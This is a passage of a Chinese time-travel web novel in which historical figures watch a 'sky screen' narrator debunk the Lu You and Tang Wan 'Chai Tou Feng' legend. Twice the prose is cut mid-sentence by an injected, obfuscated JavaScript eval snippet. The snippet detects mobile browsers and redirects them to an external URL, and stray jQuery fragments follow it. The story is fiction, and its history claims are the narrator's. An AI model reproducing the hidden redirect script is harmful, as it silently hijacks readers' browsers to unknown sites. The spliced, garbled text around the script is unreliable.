蔡琬头上爆起青筋。这如果不是亲爹和亲妹,她肯定狠狠地一人踢他们一脚! 【我们再来说蔡邕的女儿,大名鼎鼎的蔡琰蔡文姬,当然原先她可能叫蔡昭姬。她博闻强记,才名远播,奈何战乱时被匈奴掳去,沦落匈奴12年。 她所作《悲愤诗》传世,以情纬事,是中国诗歌史上第一首文人创作的自传体长篇叙事诗,为我们提供了战乱中难得的女性视角。 锥处囊中,不得不出。因为蔡琰的才名,曹操于建安十一年假托为旧友蔡邕留嗣将她赎回。毕竟蔡邕长女嫁泰山羊氏,育有孝献皇后羊徽瑜和名臣羊祜,蔡邕无论如何不能算“绝嗣”。 蔡琰也不负曹操所托,默写家中藏书四百篇作答,填补了部分蔡家四千多本藏书被付之一炬给中华文化造成的损失。 至于“昭姬”变成后世的“文姬”,可能是为了避晋文帝司马昭之讳。 这件事还挺有意思的。蔡琰姐姐是司马昭哥哥司马师的岳母,这样算来司马昭还应该叫蔡琰一声姨母。 可最终还是已经去世的蔡琰为司马昭避讳了。】 “晋文帝,司马昭?” 此时汉献帝逊位,曹丕称帝。 曹丕正与臣子商议如何应对孙权送来的称臣表。去年孙权杀关羽,与刘备关系恶化,便送表试探欲与魏联盟,共抗刘备。 孙权又不想真联魏抗刘。曹丕想,若孙权真动用魏兵,魏国必然要向西南得到自己的战利品。蜀地艰险却有长江能直捣建康,是孙权心腹之患。 商讨间,曹丕却听到亡国就在眼前,司马懿那九岁的小儿子居然成了皇帝! 他扫过伏地请罪的司马懿,漠然道:“仲达于国事兢兢业业,竟然忽视了儿子的教养。念在仲达赤心为国,司马昭也尚是黄口小儿,便着仲达罚俸十年,你见到每月缺的俸禄,便要警醒自己教子不严之过!” 不禁足是为了寻错处,不杀人是为了防国朝刚建,人心不稳时令人人自危。 司马家,还是不要留在魏史上了。 蔡邕听到女儿流落匈奴,终于舍得从地上起来。他抱着哭泣的女儿又是一哭。 蔡琬艰难扒开两人:“爹,你不如专心修史,不进朝堂,只为我们家谋一个去处。” 蔡邕眨眨眼,眼白里蔓延的血丝使他显得憔悴。多少年风姿俊美,也抵不过刚才的一哭。 蔡琬倒是能松一口气。她见过葬礼上的人,能哭出来的还算好事,不能哭出来郁结于心的,却有许多郁郁而终。 “我……”蔡邕捏紧衣服,拍拍身上灰尘,“不如流放遇赦后我去问问郑兄,请他指点。” 北海名士郑玄,潜心著述,桃李满天下。蔡琬点头,她不啰嗦,只去寻母亲,抢在父亲改口以前先把这件事敲定。 一拐,蔡琬抱走了蔡琰。妹妹流落匈奴,母亲心里必然担忧。如今妹妹健健康康走到她眼前,就是最好的定心丸。 保全自家,再谈其他。 现在处于流放之地的他们离生机只差一场大赦。 23.陆游(2) 【蔡邕的谣言我们已经在前面阐述,与蔡邕相对应的陆游小故事,大家应该也有所猜测了。 是的,来不及为背亲弃妻蔡伯喈哀悼了。下一位向我们走来的是,词杀前妻陆务观!】 绍兴十年,陆宰在家中闲坐,看第三子陆游与猫嬉戏,愁容渐缓。 即使他不在朝中,不事公卿,在这该忠心体国的时候,山阴陆氏的消息也不会落下。 故而他已经被朝廷卯足了劲要与金人议和一事烦透了! 此时天幕来,他的烦恼恰能被转移几分,又见儿子抱猫往他眼前来,十四岁的少年不知愁笑着。 陆宰便笑问:“阿游,依你所看天幕这个陆游陆务观,与我面前这个可有关系?” 陆游睨他一眼:“我倒愿意天上那个陆游不是我。” 被天幕提到哪有什么好事!杀妻大罪,谁想背谁背去! 【陆游,字务观,山阴人,南宋文学家、史学家,与尤袤、杨万里、范成大并称中兴四大诗人。 陆游嗜书爱诗,擅写词,也长于史学。他一生作诗万余首,沉郁顿挫,感激豪宕。还记得小时候我们语文默写里的《游山西村》、《书愤》和《卜算子·咏梅》吗?它们的作者陆游,怎么能不算一款孩子们的童年玩伴呢? 这个“玩”也可以是他玩孩子的“玩”啊! 相对于诗词上的巨大成就,陆游的官途就坎坷得多。他家学渊源,坚持与被主和派把持的朝堂斗争,29岁作为恩荫组进士科第一名被秦桧黜落,50岁因“嘲咏风月”的罪名被迫罢官,一生大多数时间沉沦下僚或投身幕府。 从李纲宗泽到陆游辛弃疾,北伐之志千古传唱,北伐之人却被他们的皇帝收刀折刃。 有心杀贼,无力回天。再“尚思为国戍轮台”的人,也只能去妄言铁马冰河入梦来。】 这是令人快乐的吗? 当然是! 秦桧摸着胡子,嘴角扯出一抹笑。他面前龙椅上的人更是庆幸于他被掳北上的皇帝亲爹已死,那个老不死的皇帝哥也永远回不了大宋,永远威胁不到他的皇位! “可怜陆游,虽有才名,却无法专心国事。”赵构把颤抖不已的手收到几案下,点评陆游的不识时务,宛如走出云烟的山间高人。 秦桧看惯了他这副强装镇定的样子,附和道:“陆游一生主战,也算有志之士,可惜堕于清谈,不肯为陛下分忧。” 秦桧言之凿凿:“今日的和谈是为了大宋的明天。若惹恼金人,人家一气打过来,亡国灭种就在眼前,还谈什么还复旧都?” “正是!”赵构转成愁眉苦脸,“朕为了江南百姓不受金人掳掠,苦心孤诣至此,那些武夫竟还要把朕架到火上烤……唯有秦卿知朕……” 秦桧拜谢天恩,只道必为陛下分忧。 赵构借口得一知己,笑得响亮。 【但群众的眼光是雪亮的。 诗云“人自宋后羞名桧,我到坟前愧姓秦”。谁好谁不好百姓最知道,主和派首领秦桧当了千年的民族耻辱代言人。 秦桧、王氏、张俊、万俟卨四个人的铜像至今还在岳王庙前跪着,抗金名将岳飞则端坐正殿,与当日风波亭那场“莫须有”形成了精妙的讽刺。 只可惜缺了一个完颜构。 皇帝的身份让他逃脱了千年的审判。】 赵构爽朗的笑声卡在喉咙里。 “皇帝”、“构”,天幕骂的是谁不言而喻。 他却强笑:“缘分啊!那金人未来的皇帝竟然与朕同名。一南一北两帝皆名构,可见此名天授,朕合该为帝!” 赵构一把扶起秦桧:“秦卿与我一同看完这天幕可好。” 秦桧却之不恭,背后却生出冷汗。 他今日本是来与官家议事,不想被天幕困在宫中。官家怕是要把他囚在宫里看天幕影响如何,再谈怎么处理他这个奸臣…… 呸!这该死的为了求和都打算在议和章程里和金国完颜氏攀关系的软骨头! 活该天幕叫他完颜构! 山阴,陆游摸了几把猫,面色阴沉。 天幕没有明说世系,但将主战抗金作为家学传承的山阴陆家,必是他家无疑。 这词杀前妻陆务观,估计还得落到他的头上! 没有人会在知道自己被谩骂千年后不愤怒,没有人会在听闻自己挣扎一生壮志未酬后不痛苦。 陆游把猫放到父亲腿上。小猫舒展四肢,他却同手同脚走向远方,捧回一只华亭鹤。 陆宰看着儿子把脸埋进白鹤的毛里。他摸着怀里的猫,想到的却是岳将军与儿子婚姻这二事。 岳将军出征在外,但依天幕中秦桧跪岳飞与风波亭莫须有的讽刺,只怕将军会死在秦桧诬陷之下。 陆宰急忙叫人,北上去寻岳飞示警。 至于阿游嘛,就让他自己给自己找媳妇吧……夫妻恩爱,大抵就不会出逼死妻子这等罔顾人伦的谣言了。 【不好意思,up前面讲主战派讲嗨了。现在我们进入正题,好好讲陆游《钗头凤》与前妻唐琬的谣言。 谣言是这样的。 陆游娶了表妹唐琬,夫妻恩爱,但被母亲拆散。之后陆游再娶、唐琬再嫁,他们各自开始了新生活,却于沈园偶遇忆起旧情。唐琬为陆游奉上酒食,陆游为唐琬赋词《钗头凤》题壁于沈园,唐琬作另一首《钗头凤》相和。 不久唐琬因词伤情郁郁而终,唐琬后夫赵士程也伤情而死随她而去,陆游却好好活到了83。 对此up的评价是,夫妻恩爱是真的,被迫离婚是真的,宴会偶遇是真的。其他事,未必。 我们来介绍一下接下来要讲的六个事实两个疑问。】 陆游抬头。那些与人命相关风月脏水被泼到身上,竟叫人痛苦到能与金人南下的战报一比。 他一拍大腿,要指天骂地来讲人命关天,却见到那边父亲正抱着猫笑。猫的身躯被父亲拉出长条,猫的手被父亲握着向他招呼。 “笑什么!我壮志未酬,我被诬千年,这种事情我不生气,哪里还算个血性男儿!” 陆宰却说:“天幕显灵为你辩诬,这一世你再也不会陷入这等风波,这便是万幸了。” 陆游不理他,抬头看天幕列出的事实。 “第一前妻不叫唐琬, “第二前妻和我不是表兄妹, “第三赵士程未必存在, “第四前妻没死于与未来的我重逢后不久, “第五前妻的后夫不因前妻而死, “第六前妻唱和的《钗头凤》还是后人伪作!” 陆宰为他补上了天幕剩下的两个疑问:“一问陆游《钗头凤》为前妻而作还是蜀中赠妓而作,二问原始文本《耆旧续闻》是南宋版还是明朝版。” 猫咪转头,翘起屁股和尾巴。 清朝,一男子驻足窗前,抓住路过朋友的手:“陆游唐琬是假的,那我为他们爱情悲剧流过的眼泪,又算什么呢?” 朋友翻开《渭南文集》,指着陆游《钗头凤》上下两阙末尾:“自然算‘错错错’、‘莫莫莫’。” 【没有原始文本,一切事件都是空中楼阁。陆游《钗头凤》事件原始文本未必可信,我们就先来研究一下原始文本的价值。 这件事有三个原始文本,分别是陈鹄的《耆旧续闻》,刘克庄的《后村诗话》和周密的《齐东野语》。 刘克庄可以被证明是宋人,他所记述陆游夫妻被拆散后重逢一事来自陆游老师曾几的孙子曾黯之口。他的《后村诗话》应该是对陆游此事最权威的记录。 该记录丝毫没有提及《钗头凤》。】 嘉泰三年,陆游与辛弃疾欢饮达旦,大谈北伐之事。兴致到时,两个老头或拍手狂笑,或涕泣沾襟。 大宋……大宋终于要北伐了! 纵然天幕说什么北伐之人被收刀折刃,他们也不改其乐。他们早就被折过好几回,现在皇帝换了,宰相又要北伐,形势大好,他们马上就能北伐! 北伐,渡江!过河,杀贼! 两人正乐呵着,却听到天幕提到后人编造《钗头凤》虚事。陆游之乐仍未褪去,辛弃疾却转换态度,借酒大骂后人增删史料。 醉中忽闻刘克庄之名,陆游想起那个国子监里激扬文字的小主战派,为后继有人狂笑到干呕。辛弃疾扶起这个78岁的老人,想到后来的主战派必不会像他们一样被排挤到老,大笑。 “我的平戎册有用了!我的铠甲能穿上了!” 辛弃疾大喊着与天幕无关的事,两老头自去喝酒说话,乐得忘乎所以。 【周密的《齐东野语》作于陆游之后百年,没有像曾黯一样可靠的传话筒。 “齐东野语”自称“野”,其内容其作者也是真的野。 举个例子,本书首次提出前妻姓唐,首次提出后夫叫赵士程,首次提出陆游与唐氏是表兄妹,首次提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229287|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出唐氏是唐闳之女。 可唐闳是会稽唐氏,陆游的母亲是江陵唐氏,两个唐根本不是一路人。 这本书中已经有了除赵士程结局外现代谣言的所有枝叶,奈何来源不明,不可尽信。 悄悄说一句,周密的《癸辛杂识》中还记载了方回和婢女在旅馆do时过于激烈,do到墙壁掉土,被隔壁投诉。 这个超野的方回是谁?原来是周密的死对头啊…… 周密,你记录的可信度又降低了。】 “可恨后人宁愿相信这小人的记录,也不愿信我的清白!” 陆游听不懂do是什么意思,却也能听出天幕在为他说话。天幕在说周密《齐东野语》记载不实,说他没有以一阙词让他的前妻抑郁而死。 陆宰却莫名听懂方回在带着婢女做什么事。他轻咳一声,瞥一眼不知天幕之意的儿子,感慨周密真是什么都敢写。 他14岁的儿子还不用那么早知道这些事! 小厮来报,陆游在乡校的同窗抱诗前来。陆宰见到男孩,那是个故交之子,愤慨都写在脸上。 陆游把猫抱走和他蹲着聊天去了。猫被放在地上,在陆游殷勤的拍屁股下把屁股撅的更高,舒服地喵喵叫着。 陆游与同窗共骂后人,却忍不住在喵喵声中翘起嘴角。 “我们家的猫就喜欢被拍屁股,你看它尾巴翘的多高!” 白鹤向前几步,陆宰给它梳了梳毛。 白鹤一抖翎羽,跳起了舞。 【至于《耆旧续闻》,我们难以辨认陈鹄是宋人还是明人,是这本书的作者还是录正者。 如果他是宋人,那书中那个和陆游长兄陆淞交友的“余”就可以被认定为陈鹄,该书记录极具研究价值。 奈何1441年杨士奇已经记录了《耆旧续闻》这本古书,1587年的《[万历]绍兴府志》才首倡该书作者是陈鹄。 此时距离南宋《耆旧续闻》的成书时间,已经过去两百年。 更巧合的是,上溯几十年,绍兴确实有一个叫陈鹄的人。他是著名书画家陈鹤之弟,录正过名家沈周的《客座新闻》。 《客座新闻》与《耆旧续闻》体裁有相似处,又在“录正”二字少见于作者栏的时代形成了作者相同的局面……我们不得不怀疑它们是同一人所写。 谁让《耆旧续闻》有个版本的作者就叫“南阳陈鹄录正”啊!】 明永乐年间,姚广孝正在文渊阁逡巡。忽然手下一文士卷了一本破书向上呈递,口称此为《耆旧续闻》。 姚广孝拈开已经粘住的书页,抬眼见文渊阁浩如烟海的藏书和书海中夹杂的小人,默念阿弥陀佛。 他缓慢翻开书,从头到尾。作者的名字没有藏在书中哪一则小事、一曲小词中,显得这本书像天上降下的无根水,人莫知其源。 书被他放在桌上。 这些日子与解缙主持编纂《永乐大典》,姚广孝见多了这种作者不存的残本。这本《耆旧续闻》,竟也算是小书中的幸运儿。它的封皮没有脱落,人们尚能知道它的名字。 只是这类书可以引用,却不宜编入《永乐大典》。 至于它日后搅起的风波,他在自己文集中添一笔便是。 【许勇先生还从《耆旧续闻》里翻出该书作者的妻子姓陈,如果作者真叫陈鹄,北宋同姓结婚要判刑两年。所以他猜测,陈鹄只是明朝录正者,并非南宋原作者。 如果陈鹄是明人,我们现在看到的《耆旧续闻》是明版,那该书所记陆游逸事的可信度能降好几个层次。 以《朝野类要》为例,抄录者擅改原稿文字是通病。《耆旧续闻》记载的陆游逸事不如《齐东野语》丰富,陈鹄有可能拿了周密的记录去重写《耆旧续闻》。 一旦《耆旧续闻》不可信,陆游《钗头凤》写给前妻就没有丝毫依据了。】 陈鹄一定要是宋人! 心中默念着这句话,赵构认为现在的他与主战派此消彼长。若能拿住对面的陆游一个大错……如何呢? 他不知道,但手上的东西有总比没有好。 赵构还记得他曾自称梦遇先帝,受赠龙袍。这场天意在宋朝除他以外的直系帝裔都被金人抓了北上的时候看似无用,却在他初登大宝时让不少臣子看他的目光心悦诚服。 故…… “去寻陈鹄!” 赵构一声令下,奔马带着人直出皇城,向四方散了。 24.陆游(3) 【好了,史料可信度辨析完了,现在我们来好好讲讲这六个基础事实。 如果这些基础事实与《耆旧续闻》有关,up就会进行分类讨论。 让我们向谣言,开战!】 东风起,天幕随之变化。先前大段大段的辨析不知其踪,能惊掉后世读书人下巴的“六个事实”重新占据天幕—— 唐慧亦在此时踏入园中。 鞋履与石板的撞击声中,陆游与同窗先后抬头。 “娘!”陆游高喊,拍落手上灰。他走到唐慧面前,单刀直入:“我有叫唐琬的表妹吗?” 唐慧笑着摇头:“会稽唐闳也没有叫唐琬的女儿。” “可见我娶表妹就是那周密编造了!”陆游想到谣言范本《齐东野语》,心中又冒起一股火气。 只是他终究出身诗酒风流的清贵人家,虽想随手破坏些东西泄愤,却拉不下这个脸。 同窗在旁边抱猫盯着,陆游捡起地上树枝当剑去耍,权当面前刺的是周密。 唐慧坐到陆宰身旁:“岳将军那里……” “我已遣人去了。” “我也已经遣人去临安二哥家,托他留意京城政局。” 【我们知道,《齐东野语》首倡前妻姓唐。奈何此书与陆游时隔百年,没有可靠的传话筒,作者人品又存疑。我们实在难以相信他这个突然出现的说法。 前妻姓唐名琬,更是出自于晚明卓人月的《古今词统》,与陆游生活年代相差500年。这个名字可不可靠,应该不用up多说了吧?】 明朝,南京文渊阁中的众人纷纷抬头,却只能看到浩繁的藏书、高高的穹顶,与木头里那一片一片天。 日光下照,给了他们光明。他们便借此细细编着《永乐大典》,不再看几十年前的黑暗。 陆游生于何岁?亡于哪年? 陆游出生于北宋宣和七年,距今278年;亡于南宋嘉定二年,距今195年。 现在于文渊阁编书的人多是蒙元统治结束后成长起来的第一代,父辈乱世艰苦在他们身上打下了磨灭不了的印记。 自大明统一天下,百姓不历兵祸,已过去洪武三十一年,建文四年,直至如今永乐三年。 他们饱读诗书,自然知道四季有序,兴亡有时。只是一个王朝要灭亡,必然先要经历土地兼并版籍浸坏胥吏逼税民众流离…… 明亡之前多久,百姓会开始像元末那样受苦? 现在的明君盛世,还能庇佑他们多少年? 【前妻与陆游是表兄妹这个观点,也首次出现于《齐东野语》。周密说唐氏为会稽唐闳女,而陆游母亲是江阴名相唐介之孙。江阴唐氏在陆母这一辈的名字中都带有“心”字底,唐闳不可能是陆游舅舅。 为什么会出现这样的错误?up认为可能是周密读到刘克庄《后村诗话》中的“某氏(前妻)改事某官,与陆氏有中外”时,一不小心把后夫和陆游是表兄弟错读成了前妻与陆游是表兄妹。 如果《耆旧续闻》的记录是真,后夫身负宋朝封给偏远宗室的爵位“南班”,是赵宋宗室子弟无疑。 宋仁宗第十女庆寿公主与吴越王钱俶四世孙钱景臻生下陆游姨夫钱忱,陆游家七兜八拐倒也能与皇室攀上亲戚。如果后夫是宗室,这表亲关系也是能够圆上的。 哟~陆务观你居然还是个皇亲国戚啊! 总而言之,真正的表亲是陆游与后夫,不是陆游与前妻。 太好了!原来陆游和前妻不是会生遗传病畸形儿的那种可怕中表近亲结婚!】 一时间,人间沸腾。 亲上加亲本就是两个家族结盟的手段,知根知底的表亲间或许还能让孩子们青梅竹马两小无猜,自然发展出一段爱情。 古人都是这么走过来的,天幕却宣言表亲间结婚不祥。 这是否过于危言耸听? 天幕短短一句话,引得不少腐儒大骂天幕后的女人没见识。她竟然认为畸形儿的诞生是因为中表婚? 那明明是有夫妇惹恼鬼神!畸形儿是应天谴而生! 可他们苍白又激昂的话语能够感动自己,拦不住想有个健康孙儿的百姓。 听闻天幕示警,苏洵赶忙往妻子娘家追回女儿苏八娘的婚约。苏轼苏辙喜于阿姐没有嫁给表哥生下畸形儿,献上一大捧山中浆果作贺。 苏八娘的目光越过前面嬉皮笑脸的苏轼,定在苏辙脸上:“告诉姐姐,是不是阿轼又强把你拉到山间去滚一身泥了?” “没有……”苏辙面颊带红,“是我自己要跟着哥哥去的!他说他尝尝山里物产,如果晕倒了就让我把他拖回来。” “姐姐你快别听卯君的!这是山里最好吃的野果,来尝尝!” 最终苏轼先吃到了苏八娘敲的爆栗。 远离朝廷的南方地主家庭,今天也很热闹。 汴京城中,大宋的皇帝和官僚里能扛事的还能镇定看天幕,抗不了事的人已惶惶然。一头钻进被窝捂住耳朵的有之,意图在江南买田宅避祸的有之,更有些人再也不嫌弃南方是“瘴疠之地”,哭着谋划怎么被皇帝派到南方去。 且别再参考那些被贬死在南方的各党人士了!在南方可能会死,但困在汴京当官被灭了国,只怕比待在南方还要惨呢! 天幕大赞主战派,后人大骂主和派,这一正一邪的判断历经千年而无人敢反对。只这一点,他们就能拼凑出国破时糟了怎样烈度的惨事了。 庆寿公主的孙子辈即遭乱离,意味着如今离亡国不过百年光景。此时不为家族考虑,难道还坐等着灭族吗? 他们只是怂,并不笨! 【第三,赵士程是否存在。这依旧是周密《齐东野语》整出来的花活。 我们之前提到的《耆旧续闻》中说前妻再嫁“南班士名某”。这里“南班”是宋仁宗于南郊大祀时,赐予皇族子弟的官爵。 只有《耆旧续闻》的记载是真的,这个“后夫叫赵士程”的论点才有可信之处。如果《耆旧续闻》的相关记载是明朝陈鹄根据《齐东野语》敷衍成章,那这可信不可信……是吧? up去翻了赵宋的宗室表,然而并没有在其中找到“赵士程”这个人。他是后夫的概率实在不大。 最后再补充一句,唐琬嫁赵士程,其实不是现代人想象中的那种“被休后我嫁给霸道深情宗室”的甜宠剧本。即使赵士程真的存在,血脉也与皇室相当疏远。大家可以参考一下比他还疏远的汉室宗亲刘备。 隔壁远房宗室都卖草鞋起家了,这边还装什么霸总啊!】 “这南宋不是完颜氏吗?怎么又变成了赵宋?” 北宋的皇帝们大叫不好,寻找起能兴国安民的方法,又把目光投向军队。 战不利亡国有许多种可能。兵不精、粮不继、将不能……奈何大宋国策即是崇文抑武,提倡兵不识将将不识兵。 可这是太祖祖训,不得轻易变动。 熙宁元年,翰林学士王安石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250407|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出官列,立于朝堂中心,一拜宋神宗赵顼。 “陆游母为唐参政之孙,陆游青年时为奸相秦桧所抑,可见他出生大抵已逢战乱。 陛下圣明,然唐参政年高。臣恐后人不能载陛下之至道,陷大宋于战火。 今天下有五弊。国用虚耗,民力凋敝,此为一也。 兵冗将怯,夷狄窥边,此为二也。 官吏浮滥,恩荫成灾,此为三也。 兼并之家,垄断财富,此为四也。 旧法拘常,新利壅塞,此为五也。 臣恐后人不能如陛下执政于怒涛之上,欲劝陛下变法,以济世安民。 治国之顽疾,非虎狼药不可。变风俗、立法度,乃当今急务。臣请选良材,修兵事,为天下理财,克大宋百年之危局。” 【前妻和后夫的去世我们放在一起讲。 要判断前妻是否被陆游一首《钗头凤》害得伤情病死,我们要先知道《钗头凤》是否为前妻所作,还要把前妻的死亡与《钗头凤》所作时间对照,看她是否病死于《钗头凤》作后不久。 《钗头凤》是否为前妻所作我们一会儿再讨论,现在先假定它因前妻而作,《耆旧续闻》可信。 这样陆游作词《钗头凤》就被定位到1151年,前妻去世时间却是1160年左右。这多达九年的时间差,很难与《耆旧续闻》中前妻死于重逢后不久(“未几怏怏而卒”)的记录相对应。 如果《耆旧续闻》不可信,《钗头凤》就与前妻生平完全脱节,陆游词杀前妻的事无从说起。 后夫同理。所有原始文本里都没记载后夫的结局,主打的就是一个深情全靠编。】 辛弃疾卧在窗边看天。这个一生主战而遭过无数政敌污蔑的老头问:“务观,你说这是不是又是主和派的阴谋?” 用唐琬来污蔑陆游,就像中晚唐牛党把持国史修纂,着力污蔑李党中坚一样。 没听到回答,辛弃疾又灌了自己一碗酒。他带着一胡子的水渍转向陆游,却见陆游沟壑遍布的脸上夹满泪痕。 辛弃疾把酒碗掼到桌上。他不得不承认,这具拥有一颗年轻心脏的躯壳,已经衰老到快要不能支撑陆游去亲眼看见北伐。 “她是病死的。”陆游喃喃,上前给自己再满上一碗酒,“我不能忘情。” “什么叫你不能忘情?她那后夫怎么了?” “他和我一样,娶了继室,我去过他和那个小姑娘的婚宴。” 辛弃疾知道,陆游现在对后夫再娶的唾弃,其实是在怨恨为了传宗接代续娶王氏的自己。 他咂巴咂巴嘴,去想要如何安慰陆游。78岁的人身体本来就已弱下去,再伤个情,病去如抽丝啊! 小猫於菟跳上几案,舔舔碗里浊酒,凌空一跃,把自己深埋进陆游的怀抱。 被於菟舔了一口,陆游吃痛,却慢慢展颜。 【最后,唐琬所作《钗头凤》全词首次出现于《历代诗馀》卷一一八。 《历代诗馀》编于清朝康熙年间,这和陆游相差了六百年,不足为信。 人们同情被拆散的爱情,喜爱戏剧化的表现,陆游与前妻的故事才一步步被丰满,成了我们现在所见到的样子。 看见庞大的市场,人们又在脱胎于史实的剧目里加入了陆唐和诗、前妻伤情而死等“巧合”,把故事的可读性推向另一个高峰。 ——那故事中最大的亮点之一《钗头凤》,究竟是陆游写给谁的呢?】 25.陆游(4) 【《钗头凤》写给谁,学界有两个主要流派:一是老牌贵族写给前妻,二是秀场新人蜀中赠妓。 我们就来讲讲两种说法的论据和疑点。】 汴梁,百姓扶老携幼挪向城门,看见整齐的兵士涌入城门。 打头的将军迎着日光,眯起眼睛。他镇定转过头,看到捧着窝窝的百姓。 将军眼中印出布条、骨架,和一簇簇燃起的火焰。 【《钗头凤》写给前妻说,主要证据是《耆旧续闻》、《齐东野语》和陆游的《禹迹寺南有沈氏小园,四十年前尝题小阕壁间,偶复一到而园已易主刻小阕于石读之怅然》(简称《禹迹寺》)、《沈园二首》。 两本笔记小说的史料价值我们已经辨析,前者不知真假,后者不可尽信。 陆游的《沈园二首》,更是只与“沈园宴会偶遇”的情节相关,与《钗头凤》的写作毫无关系。 《禹迹寺》一诗的题目,倒是能够与《耆旧续闻》中陆游沈园题诗相对应。 毕竟《禹迹寺》说陆游40年前曾经在沈园墙壁上题诗,《耆旧续闻》里陆游题壁《钗头凤》的时间与《禹迹寺》的创作时间正好隔了41年。 可惜这首诗里并没有说得很清楚,我们依旧无法确认四十年前沈园题壁的是不是《钗头凤》。up只能说这个说法能与陆游诗歌相印证,有一定可信度。 我们终于找到一个勉强可靠的《钗头凤》写给前妻的证据了。】 “卑鄙!大宋不是文化之邦吗?怎么大宋的将军只会这种偷袭的勾当!啊!” 看守完颜宗弼的士兵忍无可忍抽了他一下。这金狗自从被俘,一直叫个不停,天知道他怎么这么有精力! 就该饿他几顿! 天幕是宋军的福星。第一次天幕,岳将军当机立断,突袭金营,把正在祭拜天幕的金营杀了个对穿。 第二次天幕,岳将军下令全军休整。金营却为了防将军袭营一直巡视,巡视到兵困马乏,又被养精蓄锐的岳家军杀得屁滚尿流。 第三次天幕,完颜宗弼坐立不安,干脆派兵去攻打岳家军的营地。 早料到金狗来袭,将军掐住时间占了他们的营,又派兵守在路上对金兵穿插包夹,一举抓住金狗皇帝的金狗儿子,金狗里最大的金狗将军! 就是刚被他抽了的完颜宗弼! 第四次天幕……他们终于收回了北宋的都城,传说中最富贵的地方。 传说中流着金子的汴河漂着骨头和死鱼,传说中最白最胖的百姓伸出又黑又瘦的手臂,捞起它们啃食。 来迎接王师的人们目光浑浊,向王师献上他们仅剩的窝窝头,草根在面团上摇晃。 士兵们推辞着。有百姓暴起,把窝窝头扣进他口里,自己却软倒在地上。 “求求你们,往北,往北打!” 【而且《钗头凤》题壁沈园还有一个很重要的问题。 古代通讯工具落后,古人题壁相当于现在的互联网发帖。在那种情况下,陆游题壁在公共环境下书写并让人欣赏自己的爱情。这或许对他而言只是风流韵事,但前妻要如何面对后夫和闲言碎语? 然而这么炸裂的事,只有一本可能成书于当代的《耆旧续闻》记述了。 如果宋朝人这么洁身自好不爱八卦,那周密记录死对头超激烈make love又是怎么来的呢? 陆游《钗头凤》里还有“东风恶,欢情薄”一句。他与前妻被父母拆散,好事者看到这一句以后必然会通过“东风恶”联想到陆游在骂干涉他婚姻的父母,主和派必然会抓住不孝重罪对他大加攻歼。 主和派拿过“嘲咏风月”这个意为“只说话不做事”的小错弹劾陆游,却从没有拿“不孝”这种真正的大过来攻击他。 这难道是主和派不想吗?】 “好!” 赵构在心中喝彩,只待自己派出的人找到传说中的陈鹄。 他对自己手下的人极有信心。就是找不到姓陈名鹄还娶了陈氏女的人,他们也会制造出一个因为同姓结婚坐过两年牢的绍兴“名士”来。 所以陆游必定是不孝的。 手下人能干是好事,可太有想法就不是好事了。像北边那个岳飞,前些年还嚷嚷着要“迎回二圣,还复旧都”,真是令他心寒! 他身为皇帝还没说要回去,岳飞怎么就敢这么忤逆皇帝,口口声声要把他哥接回来抢他位置? 能维持南北分治,他已经很满意了,怎么能忤逆金人,奢求再回汴京当皇帝? 想到金人,赵构又想起了在宫内“暂居”的秦桧。这位从北方来的主和派当宰相,可是他给金人的诚意之一。 如果天幕一直这样平稳地讲下去,他马上就可以把秦桧放出来了。 【现代,夏承焘先生首先提出《钗头凤》是陆游蜀中赠妓之作,得到弟子吴熊和等人的赞同。我们来看看为什么他能突破老牌贵族的封锁,造成这样的影响。 第一,他提出《钗头凤》首句是“红酥手,黄滕酒,满城春色宫墙柳”。这一句的意象“手、酒、柳”,暗合当时陕西凤州三出“妓女手、坊间酒、金城柳”,不合前妻的端庄身份。 另外有一种说法,“红酥手”指红烧猪蹄。 ……也没什么问题,红烧猪蹄确实又红又酥又香又软,但真的好怪啊…… 第二,陆游《渭南文集》中词的收录顺序,是按照该词牌下第一首词的写作时间来排的。 《钗头凤》前后的《清商怨》、《临江仙》、《蝶恋花》都作于1172年,《钗头凤》自然也不能免俗。这时陆游已经入蜀,前妻已经去世12年,《耆旧续闻》所谓沈园题壁的时间,更是已经过去了21年。 第三,前妻去世于1160年左右,但《钗头凤》里有一句“山盟虽在,锦书难托”,再配合《清商怨》中的“鸳机新寄断锦”,我们可以看出这明显是陆游对一个在世女子寄托思念。 但前妻已经死了12年了。 真要说赠妓,证据是不足的。一些人于是认为,陆游《钗头凤》蜀中赠妓未必可信,但写给前妻可以推翻。】 陆宰与唐慧坐在院中,面前的鹤翩翩起舞,猫飞扑落叶,一派无忧之景。 他们看着陆游把树枝舞得哗哗响,风穿过枝叶的缝隙,飞进他们耳朵里。 夫妻和谐,是家庭兴旺的根本。听天幕说阿游和他妻子琴瑟和鸣,这不是什么过错,为什么他们要逼着阿游休妻? 唐慧看向陆宰,也看见他眼中的忧虑。 丈夫家清贵,她娘家何尝不是?丈夫是讲理的人,她的家教又何尝不训导她齐家之道? 她的哥哥唐意卷入党争,因为不肯依附权相蔡京挂冠而去,隐居山中病饿而死——这是唐家的隐痛,却如何不看出唐家的风骨? “夫君,我自认是讲理的人,你也不是什么会搓磨媳妇的恶公公。 “琴瑟和鸣是好事,阿游婚前我们也必然帮他把关,不会引进来一个搅家精。” 陆宰知道妻子没说出的话。 这场悲剧,到底是为什么? 